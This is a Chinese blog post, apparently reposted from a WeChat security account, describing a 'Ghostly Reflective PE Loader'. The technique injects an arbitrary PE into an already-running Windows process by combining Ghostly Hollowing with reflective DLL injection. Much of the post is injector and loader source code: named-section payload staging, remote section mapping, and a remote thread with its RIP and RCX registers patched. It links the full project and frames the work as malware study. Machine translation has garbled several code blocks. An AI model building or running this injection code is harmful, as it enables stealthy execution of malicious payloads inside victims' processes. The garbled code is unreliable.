我正在研究反射 DLL 注入,这是一项将加载器 DLL 注入到远程进程的技术,然后该进程自行加载(因此称为“反射”),并运行其 DllMain 入口点。
我想知道我是否可以注入一个不可知的加载器,它不会自行加载,而是加载任何 PE。如果不是直接将此 PE 映射到远程进程,而是加载器本身获取它,会怎么样?这样,我可以重用本地 PE 加载器,将其变成远程 PE 加载器。
这个想法
先决条件
我的想法利用了我之前写过的一些概念。我强烈建议你仔细阅读这些概念,因为我们将把这两个概念结合起来:
- 从头编写本地 PE 加载器(用于教育目的)
- Ghostly Hollowing——可能是我所知道的最奇怪的 Windows 进程注入技术
此外,您还需要了解一些 Windows 内部知识:
- 章节 — https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views
- stdcall — https://learn.microsoft.com/en-us/cpp/cpp/stdcall?view=msvc-170
- 快速调用 — https://learn.microsoft.com/en-us/cpp/cpp/fastcall?view=msvc-170
鬼魂空心——优点和缺点
Ghostly Hollowing 只能将 PE 注入新创建的挂起进程。它无法注入已在运行的进程并保持其原始线程继续运行。它依赖于在进程有机会解析导入之前修补映像基址。这样,除了使加载器正确解析注入的 PE 的导入函数外,它还消除了重定位的需要(由于修补了基址)。此外,由于映像是用 映射的SEC_IMAGE
,因此所有 PE 部分都正确分配了页面保护。
简而言之,Ghostly Hollowing 可以在进程内映射功能齐全、随时可调用的 PE。但它无法处理已在运行的进程的重定位。
反射型 DLL 注入——优点和缺点
反射式 DLL 注入涉及将加载器 DLL 注入远程进程。此加载器 DLL 导出一个位置无关的函数,该函数加载 DLL 本身(解析导入、重定位、分配正确的内存权限等)。由于它与位置无关,因此在实际加载 DLL 之前它不会失败。此后,DllMain
将调用 DLL 的入口点。
此外,由于加载器 DLL 会自行加载,因此可以避免加载时过多的进程间读写。DLL 加载器可以本地加载自身,不是吗?
简而言之,反射 DLL 注入可以加载远程进程中的任何 DLL,但前提是 DLL 导出可以自行加载的位置无关函数。
结合两者 — 幽灵反射 PE 注射
我们可以结合上述两种技术来弥补彼此的缺点。思路是这样的——我们将反射 DLL 注入的加载器 DLL 分为三个部分——注入器、加载器和实际目标 PE(我们实际上打算加载的那个)。
- 使用 Ghostly Hollowing,注入器会在远程进程中注入一个位置无关的加载器DLL,并执行它。无需重定位。所有必要的函数都在运行时解析。由于 Ghostly Hollowing 的工作方式,这个映射的 DLL 将显示在一个空白图像名称下。
- 反射 DLL 将自身(整个有效负载已可用)加载为目标 PE。受此启发,我编写了加载器,直接从系统页面文件读取目标 PE (您可以让它从任何来源读取)。
加载器和目标 PE 现已解耦!加载器现在可以本地加载所需的任何 PE。
概述步骤
- 使用 Ghostly Hollowing,将Loader DLL映射到远程进程中。
- 在远程进程中创建一个新线程来调用Loader DLL导出的加载函数(与位置无关)。我将其命名为
Load()
。 - 该加载函数从系统页面文件中获取目标PE 。
- 然后在本地加载并执行获取的目标 PE 。
编写加载器 DLL
要求
让我们从 Loader DLL 开始。以下是要求:
- 必须是与位置无关的代码:所有必要的函数都必须在运行时解析。由于 Loader 可以注入任何进程,因此它必须仅依赖
ntdll.dll
和kernel32.dll
(谨慎地)。所有其他功能都必须自定义实现。此外,不能使用全局变量,因为全局变量是通过其偏移量引用的,而我们还没有重定位。 - 必须从系统页面文件中获取目标 PE:使用 NT API,可以打开一个命名的部分并从中读取目标 PE 内容。
- 必须在本地加载目标 PE:现在目标 PE 内容已提取到内存中,必须加载它并执行其入口点。我将重用我之前的本地 PE 加载器代码。
代码
/* ---------------------------------------------------------------------------------------------------此函数与位置无关,并将传递的 DLL 内容加载为 DLL sectionName:从中获取 DLL 内容的 Section 的 UTF16-LE 名称*/ extern "C" __declspec(dllexport) void Load (LPVOID sectionName) { // 初始化变量LPVOID pDllContents = NULL ; SIZE_T dllContentsSize = 0 ; DWORD ntStatus = 0 ; HMODULE hNtdll = NULL ; LPVOID pDllImage = NULL ; DWORD entrypointOffset = 0 ; // 解析必要的函数WINFUNC winFunc; if (! ResolveNecessaryFunctions (&winFunc, &hNtdll)) return ; // 从 Section 读取 DLL //// 打开部分句柄HANDLE hSectionDll = NULL ; OBJECT_ATTRIBUTES dllSectionObjectAttributes{}; RtlZeroMemoryCustom (&dllSectionObjectAttributes, sizeof (OBJECT_ATTRIBUTES)); UNICODE_STRING sectionNameUnicodeString{}; DWORD sectionNameLen = StringLenW ((PWCHAR)sectionName); sectionNameUnicodeString.Buffer = (PWSTR)sectionName; sectionNameUnicodeString.MaximumLength = sectionNameLen * sizeof (WCHAR); sectionNameUnicodeString.Length = sectionNameLen * sizeof (WCHAR); InitializeObjectAttributes ( &dllSectionObjectAttributes, §ionNameUnicodeString, OBJ_CASE_INSENSITIVE, NULL , NULL ); ntStatus = winFunc.pNtOpenSection ( & hSectionDll, SECTION_MAP_READ | SECTION_MAP_WRITE, &dllSectionObjectAttributes );如果(hSectionDll == NULL )转到CLEANUP; //// 将部分视图映射到本地进程ntStatus = winFunc。pNtMapViewOfSection ( hSectionDll, (HANDLE) -1 , &pDllContents, NULL , NULL , NULL , &dllContentsSize, SECTION_INHERIT::ViewUnmap, NULL , PAGE_READWRITE );如果(dllContentsSize == 0|| pDllContents == NULL ) goto CLEANUP; // 解密 DLL 并恢复签名 TODO // 加载 DLL LoadDll (&winFunc, hNtdll, pDllContents, &pDllImage, &entrypointOffset); if (pDllImage == NULL ) goto CLEANUP; // 删除原始 DLL 内容if (pDllContents != NULL ) winFunc. pNtUnmapViewOfSection ( (HANDLE) -1 , pDllContents ); if (hSectionDll != NULL ) winFunc. pNtClose (hSectionDll); // 跳转到 DLL 的入口点JumpToEntry (&winFunc, entrypointOffset, pDllImage); // 清理CLEANUP: // 清理内存中的 DLL 缓冲区if (pDllImage != NULL ) winFunc. pNtFreeVirtualMemory ( (HANDLE) -1 , &pDllImage, 0 , MEM_RELEASE ); //退出当前线程winFunc. pNtTerminateThread ((HANDLE) NULL , (NTSTATUS) 0 ); }
上面是 Loader DLL 的导出Load(LPVOID sectionName)
函数,它接受一个节名,并从中读取目标 PE 内容。
和与我的本地 PE 加载器相同。有了目标 PE 内容,您现在可以解析它、加载它并跳转到其计算出的入口点LoadDll()
。JumpToEntry()
需要NtTerminateThread
手动调用。如果不这样做,return
将会期望将 RIP 推送到堆栈上,但我们不会这样做,因为我们将直接跳转到Load
。
我们还必须记住进行清理——关闭所有打开的句柄、取消所有映射视图的映射等。
编写注入器
到这一步,我们的 Loader 已经准备好了,注入器需要把它注入到远程进程中,然后Load(LPVOID sectionName)
用 fastcall “调用” 它的导出函数。
为目标 PE 创建命名部分
/* -------------------------------------------------------------------------------------------------------为目标 PE 创建命名部分的函数*/ void CreateNamedSectionForTargetPE ( bool injectionLocal, IN PWINFUNC pWinFunc, IN LPVOID pDllContents, IN DWORD dllContentsSize, IN PHANDLE phFileMapping, IN OUT PWCHAR targetPESectionName, IN HANDLE hTargetProcess) { // 初始化bool isSuccess = false ; LPVOID pDllContentsLocalMapped = NULL ; ULONG objectNameLen = 0 ; POBJECT_NAME_INFORMATION pObjectNameInfo = NULL ; // 创建由系统页面内存支持的部分SECURITY_ATTRIBUTES fileMappingSecurityAttr{}; fileMappingSecurityAttr.bInheritHandle = TRUE; fileMappingSecurityAttr.nLength = sizeof (SECURITY_ATTRIBUTES); *phFileMapping = CreateFileMappingW ( INVALID_HANDLE_VALUE, &fileMappingSecurityAttr, PAGE_READWRITE, 0 , dllContentsSize, targetPESectionName );如果(*phFileMapping == NULL ) goto CLEANUP; // 将节名更新为完全限定的pWinFunc-> pNTQueryObject ( // 第一次会失败,因为 objectNameLen 为 0 *phFileMapping, (OBJECT_INFORMATION_CLASS)OBJECT_NAME_INFORMATION_CLASS, pObjectNameInfo, 0 , &objectNameLen );如果(objectNameLen != 0 ) { pObjectNameInfo = (POBJECT_NAME_INFORMATION)( HeapAlloc ( GetProcessHeap (), HEAP_ZERO_MEMORY, objectNameLen ));如果(pObjectNameInfo != NULL ) { pWinFunc-> pNTQueryObject ( *phFileMapping, (OBJECT_INFORMATION_CLASS)OBJECT_NAME_INFORMATION_CLASS, pObjectNameInfo, objectNameLen, &objectNameLen );如果(pObjectNameInfo->Name.Buffer != NULL ) { CopyBuffer ((PBYTE)targetPESectionName, (PBYTE)(pObjectNameInfo->Name.Buffer), (pObjectNameInfo->Name.MaximumLength)); } } } wprintf ( L"为目标 DLL 创建的命名部分:"%s"n" , targetPESectionName);// 将部分映射到当前进程,并将目标 PE 内容写入其中pDllContentsLocalMapped = MapViewOfFile ( *phFileMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0 , 0 , 0 );如果(pDllContentsLocalMapped == NULL ) goto CLEANUP; CopyBuffer ((PBYTE)pDllContentsLocalMapped, (PBYTE)pDllContents, dllContentsSize); // TODO 加密 DLL 内容printf ( "%d 字节目标 DLL 有效负载写入命名部分 (本地映射 0x%p)n" , dllContentsSize, pDllContentsLocalMapped); // 清理CLEANUP:如果(pDllContentsLocalMapped != NULL ) UnmapViewOfFile (pDllContentsLocalMapped);如果(pObjectNameInfo != NULL ) HeapFree ( GetProcessHeap (), 0 , pObjectNameInfo); }
命名部分可以是会话特定的,也可以是全局的,具体取决于名称中使用的前缀。即便如此,实际部分名称最终也会以更多内容作为前缀。获取完全限定的部分名称至关重要,因为与 Win32 API 不同,NT API 只接受全名。NtQueryObject()
有助于检索此全名。
CreateFileMappingW()
创建命名部分,并将MapViewOfFile
其映射到本地进程。然后它将原始目标 PE 内容写入此视图,从而有效地为 Loader 准备命名部分。
在远程进程中为 Loader DLL 创建 Ghost 部分
这与 Ghostly Hollowing 技术完全相同,因此我不会在这里再次展示它。这样,Loader DLL 就会加载到远程进程中,并具有所有正确的页面保护。
在远程进程中为目标 PE 注入节名称
加载器 DLL 的Load(LPVOID sectionName)
函数需要用于获取目标 PE 的节名的地址。必须先将此名称写入远程进程中的任意地址,然后必须存储该地址以传递给Load(LPVOID sectionName)
函数。
/*-------------------------------------------------------------------------------------------------------Function to map the name of the named section (containg target PE payload) to Target process*/boolInjectSectionNameForTargetPEContentsInTargetProcess(bool injectLocal, IN HANDLE hTargetProcess, IN PWCHAR targetPESectionName, OUT PHANDLE phDllContentsSectionNameMappingTarget, OUT VOID **ppDllContentsSectionNameTarget){// Create file mapping object DWORD targetPESectionNameSize = (StringLenW(targetPESectionName) + 1) * sizeof(WCHAR); *phDllContentsSectionNameMappingTarget = CreateFileMappingW( INVALID_HANDLE_VALUE,NULL, PAGE_READWRITE | SEC_COMMIT,0, targetPESectionNameSize,NULL );if (*phDllContentsSectionNameMappingTarget == NULL) returnfalse;// Map view to local process and write the section name LPVOID targetPESectionNameLocal = MapViewOfFile( *phDllContentsSectionNameMappingTarget, FILE_MAP_WRITE,0,0,0 );if (targetPESectionNameLocal == NULL) returnfalse;CopyBuffer((PBYTE)targetPESectionNameLocal, (PBYTE)targetPESectionName, targetPESectionNameSize);//Map section to target processif (injectLocal) *ppDllContentsSectionNameTarget = targetPESectionNameLocal;else *ppDllContentsSectionNameTarget = MapViewOfFile3( *phDllContentsSectionNameMappingTarget, hTargetProcess,NULL,0,0,0, PAGE_READWRITE,NULL,0 );if (*ppDllContentsSectionNameTarget == NULL) returnfalse;printf("DLL contents section name mapped to target 0x%pn", *ppDllContentsSectionNameTarget);returntrue;}
Load()
在 Loader 中调用
由于Load(LPVOID sectionName)
采用 fastcall,因此需要进行额外的修补以确保新线程可以正确调用它。这是因为线程入口点是用 stdcall 调用的。stdcall 会在堆栈上传递参数,但 fastcall 需要它在寄存器中。由于sectionName
是第一个参数,因此Load()
需要它在 RCX 寄存器中。换句话说,RCX 必须保存节名称的地址。我们创建一个新的挂起线程,并设置其线程上下文以设置此 RCX 值。
除此之外,RIP 还被修补为存储Load()
的地址。这是因为新线程不会直接从其入口点开始执行;在此之前有一些初始化代码。
/*-------------------------------------------------------------------------------------------------------Invokes loader DLL*/boolInvokeLoaderDll(bool injectLocal, IN PWINFUNC pWinFunc, IN PWCHAR targetPESectionNameAddress, IN HANDLE hTargetProcess, IN DWORD targetProcessId, IN LPVOID pLoaderDllContents, IN VOID** ppDllLoaderInTargetBaseAddress){// Initialisation ULONG processAllSize = 0; PSYSTEM_PROCESS_INFORMATION pProcessAll = NULL; PSYSTEM_PROCESS_INFORMATION pTargetProcessInfo = NULL; PSYSTEM_THREAD_INFORMATION pTargetThreadInfo = NULL; HANDLE hTargetThread = NULL; PIMAGE_NT_HEADERS pNtHeader = NULL; LPVOID dllLoaderInTargetAddressOfLoadFunction = NULL;bool isSuccess = false;// Find DLL loader's Load function offset dllLoaderInTargetAddressOfLoadFunction = ADD_OFFSET_TO_POINTER(*ppDllLoaderInTargetBaseAddress, GetProcAddressOffset(pLoaderDllContents, (PCHAR)"Load"));if (dllLoaderInTargetAddressOfLoadFunction == NULL) returnfalse;/* Execute Loader DLL's Load() function For injecting locally, create new local thread For injecting remotely, hijack remote process's worker thread */if (injectLocal) { DWORD threadId = NULL; hTargetThread = CreateThread(NULL,0, (LPTHREAD_START_ROUTINE)dllLoaderInTargetAddressOfLoadFunction,NULL, CREATE_SUSPENDED, &threadId );if (hTargetThread == NULL) goto CLEANUP;printf("Local thread %d created for Target DLL execution, start address: 0x%pn", threadId, dllLoaderInTargetAddressOfLoadFunction); }else { DWORD threadId = NULL; hTargetThread = CreateRemoteThread( hTargetProcess,NULL,0, (LPTHREAD_START_ROUTINE)dllLoaderInTargetAddressOfLoadFunction,NULL, CREATE_SUSPENDED, &threadId );if (hTargetThread == NULL) goto CLEANUP;printf("Remote thread %d created for Target DLL execution, start address: 0x%pn", threadId, dllLoaderInTargetAddressOfLoadFunction); }if (hTargetThread == NULL) goto CLEANUP;// Get target thread context CONTEXT targetThreadContext;RtlZeroMemory(&targetThreadContext, sizeof(CONTEXT)); targetThreadContext.ContextFlags = CONTEXT_ALL;if (!GetThreadContext(hTargetThread, &targetThreadContext)) goto CLEANUP;// Patch target thread's RIP to point to Entry point targetThreadContext.Rip = (DWORD64)dllLoaderInTargetAddressOfLoadFunction; targetThreadContext.Rcx = (DWORD64)targetPESectionNameAddress;if (!SetThreadContext(hTargetThread, &targetThreadContext)) goto CLEANUP;printf("Target thread's RIP set to 0x%p (start address)n", dllLoaderInTargetAddressOfLoadFunction);printf("Target thread's RCX set to 0x%p (first param; address of section name for Target DLL)n", targetPESectionNameAddress);// Resume processif (ResumeThread(hTargetThread) == -1) goto CLEANUP;printf("Target thread resumedn");// Wait for target thread to finishprintf("Waiting for target thread to finishn");WaitForSingleObject(hTargetThread, INFINITE);printf("Target thread finishedn"); isSuccess = true;CLEANUP:if (!injectLocal && pProcessAll != NULL)HeapFree(GetProcessHeap(), 0, pProcessAll);if (hTargetThread != NULL) CloseHandle(hTargetThread);return isSuccess;}
演示
就这样,它成功了。我花了 3 天时间编写所有内容,排除潜在问题,了解某些事情为什么不起作用,然后找到解决方法。
完整代码
这是完整的项目。
malware-study/Ghostly Reflective PE Loader 位于主页 · captain-woof/malware-study
我的项目旨在了解恶意软件的开发和检测。请负责任地使用。如果您因此导致任何损失,我概不负责……
github.com
发布版本将包含 Loader DLL 的标准 C 和 C++ 库,某些内容将会中断。您必须自行移除它们。要按原样进行测试,请使用调试版本。
帮助调试,TestDLL
并TestEXE
作为目标 PE 工作。注入任一以查看其运行情况。它会弹出一个消息框。此外,TestTargetProcess
无限期运行以允许Injector
使用它。在启动项目中,选择它和 Injector,确保 Injector 在 TestTargetProcess 之后启动。
参考
- https://ntdoc.m417z.com/ {我喜欢这个}
- https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views
github.com/haidragon
gitee.com/haidragon
公众号:安全狗的自我修养
bilibili:haidragonx
原文始发于微信公众号(安全狗的自我修养):Ghostly Reflective PE Loader — 如何让现有的远程进程在其自身中注入 PE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论